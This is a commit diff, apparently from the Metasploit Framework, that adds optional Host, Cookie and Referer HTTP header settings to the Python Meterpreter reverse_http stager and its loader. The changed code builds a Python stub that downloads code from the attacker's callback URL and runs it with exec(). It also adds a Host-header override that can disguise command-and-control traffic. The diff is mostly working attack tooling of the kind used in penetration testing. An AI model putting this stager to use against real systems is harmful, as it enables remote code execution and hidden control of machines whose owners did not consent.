Skip to content

Commit 656babe

Browse files
OJbusterb
authored andcommitted
Custom host header support in python meterp
1 parent a78d8f8 commit 656babe

File tree

2 files changed

+50
-12
lines changed

2 files changed

+50
-12
lines changed

lib/msf/core/payload/python/meterpreter_loader.rb

Lines changed: 27 additions & 4 deletions
Original file line numberDiff line numberDiff line change
@@ -30,7 +30,10 @@ def initialize(info = {})
3030

3131
register_advanced_options([
3232
OptBool.new('MeterpreterTryToFork', [ true, 'Fork a new process if the functionality is available', true ]),
33-
OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ])
33+
OptBool.new('PythonMeterpreterDebug', [ true, 'Enable debugging for the Python meterpreter', false ]),
34+
OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
35+
OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
36+
OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
3437
], self.class)
3538
end
3639

@@ -88,10 +91,30 @@ def stage_meterpreter(opts={})
8891
http_user_agent = opts[:http_user_agent] || ds['MeterpreterUserAgent']
8992
http_proxy_host = opts[:http_proxy_host] || ds['PayloadProxyHost'] || ds['PROXYHOST']
9093
http_proxy_port = opts[:http_proxy_port] || ds['PayloadProxyPort'] || ds['PROXYPORT']
91-
92-
# patch in the stageless http(s) connection url
93-
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(opts[:url])}'") if opts[:url].to_s != ''
94+
http_header_host = opts[:header_host] || ds['HttpHeaderHost']
95+
http_header_cookie = opts[:header_cookie] || ds['HttpHeaderCookie']
96+
http_header_referer = opts[:header_referer] || ds['HttpHeaderReferer']
97+
98+
# The callback URL can be different to the one that we're receiving from the interface
99+
# so we need to generate it
100+
# TODO: move this to somewhere more common so that it can be used across payload types
101+
callback_url = [
102+
opts[:url].split(':')[0],
103+
'://',
104+
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLHOST'] : ds['LHOST']).to_s,
105+
':',
106+
(ds['OverrideRequestHost'] == true ? ds['OverrideRequestLPORT'] : ds['LPORT']).to_s,
107+
ds['LURI'].to_s,
108+
opts[:uri].to_s,
109+
'/'
110+
].join('')
111+
112+
# patch in the various payload related configuration
113+
met.sub!('HTTP_CONNECTION_URL = None', "HTTP_CONNECTION_URL = '#{var_escape.call(callback_url)}'")
94114
met.sub!('HTTP_USER_AGENT = None', "HTTP_USER_AGENT = '#{var_escape.call(http_user_agent)}'") if http_user_agent.to_s != ''
115+
met.sub!('HTTP_COOKIE = None', "HTTP_COOKIE = '#{var_escape.call(http_header_cookie)}'") if http_header_cookie.to_s != ''
116+
met.sub!('HTTP_HOST = None', "HTTP_HOST = '#{var_escape.call(http_header_host)}'") if http_header_host.to_s != ''
117+
met.sub!('HTTP_REFERER = None', "HTTP_REFERER = '#{var_escape.call(http_header_referer)}'") if http_header_referer.to_s != ''
95118

96119
if http_proxy_host.to_s != ''
97120
proxy_url = "http://#{http_proxy_host}:#{http_proxy_port}"

lib/msf/core/payload/python/reverse_http.rb

Lines changed: 23 additions & 8 deletions
Original file line numberDiff line numberDiff line change
@@ -14,7 +14,10 @@ def initialize(info = {})
1414
register_options(
1515
[
1616
OptString.new('PayloadProxyHost', [ false, "The proxy server's IP address" ]),
17-
OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ])
17+
OptPort.new('PayloadProxyPort', [ true, "The proxy port to connect to", 8080 ]),
18+
OptString.new('HttpHeaderHost', [false, 'An optional value to use for the Host HTTP header']),
19+
OptString.new('HttpHeaderCookie', [false, 'An optional value to use for the Cookie HTTP header']),
20+
OptString.new('HttpHeaderReferer', [false, 'An optional value to use for the Referer HTTP header'])
1821
], self.class)
1922
end
2023

@@ -24,11 +27,14 @@ def initialize(info = {})
2427
def generate(opts={})
2528
ds = opts[:datastore] || datastore
2629
opts.merge!({
27-
host: ds['LHOST'] || '127.127.127.127',
28-
port: ds['LPORT'],
29-
proxy_host: ds['PayloadProxyHost'],
30-
proxy_port: ds['PayloadProxyPort'],
31-
user_agent: ds['MeterpreterUserAgent']
30+
host: ds['LHOST'] || '127.127.127.127',
31+
port: ds['LPORT'],
32+
proxy_host: ds['PayloadProxyHost'],
33+
proxy_port: ds['PayloadProxyPort'],
34+
user_agent: ds['MeterpreterUserAgent'],
35+
header_host: ds['HttpHeaderHost'],
36+
header_cookie: ds['HttpHeaderCookie'],
37+
header_referer: ds['HttpHeaderReferer']
3238
})
3339
opts[:scheme] = 'http' if opts[:scheme].nil?
3440

@@ -104,9 +110,18 @@ def generate_reverse_http(opts={})
104110
cmd << "hs.append(ul.ProxyHandler({'#{opts[:scheme]}':'#{var_escape.call(proxy_url)}'}))\n"
105111
end
106112

113+
headers = []
114+
headers << "('User-Agent','#{var_escape.call(opts[:user_agent])}')"
115+
headers << "('Cookie','#{var_escape.call(opts[:header_cookie])}')" if opts[:header_cookie]
116+
headers << "('Referer','#{var_escape.call(opts[:header_referer])}')" if opts[:header_referer]
117+
107118
cmd << "o=ul.build_opener(*hs)\n"
108-
cmd << "o.addheaders=[('User-Agent','#{var_escape.call(opts[:user_agent])}')]\n"
109-
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
119+
cmd << "o.addheaders=[#{headers.join(',')}]\n"
120+
if opts[:header_host]
121+
cmd << "exec(o.open(ul.Request('#{generate_callback_url(opts)}',None,{'Host':'#{var_escape.call(opts[:header_host])}'})).read())\n"
122+
else
123+
cmd << "exec(o.open('#{generate_callback_url(opts)}').read())\n"
124+
end
110125

111126
py_create_exec_stub(cmd)
112127
end

0 commit comments

Comments
 (0)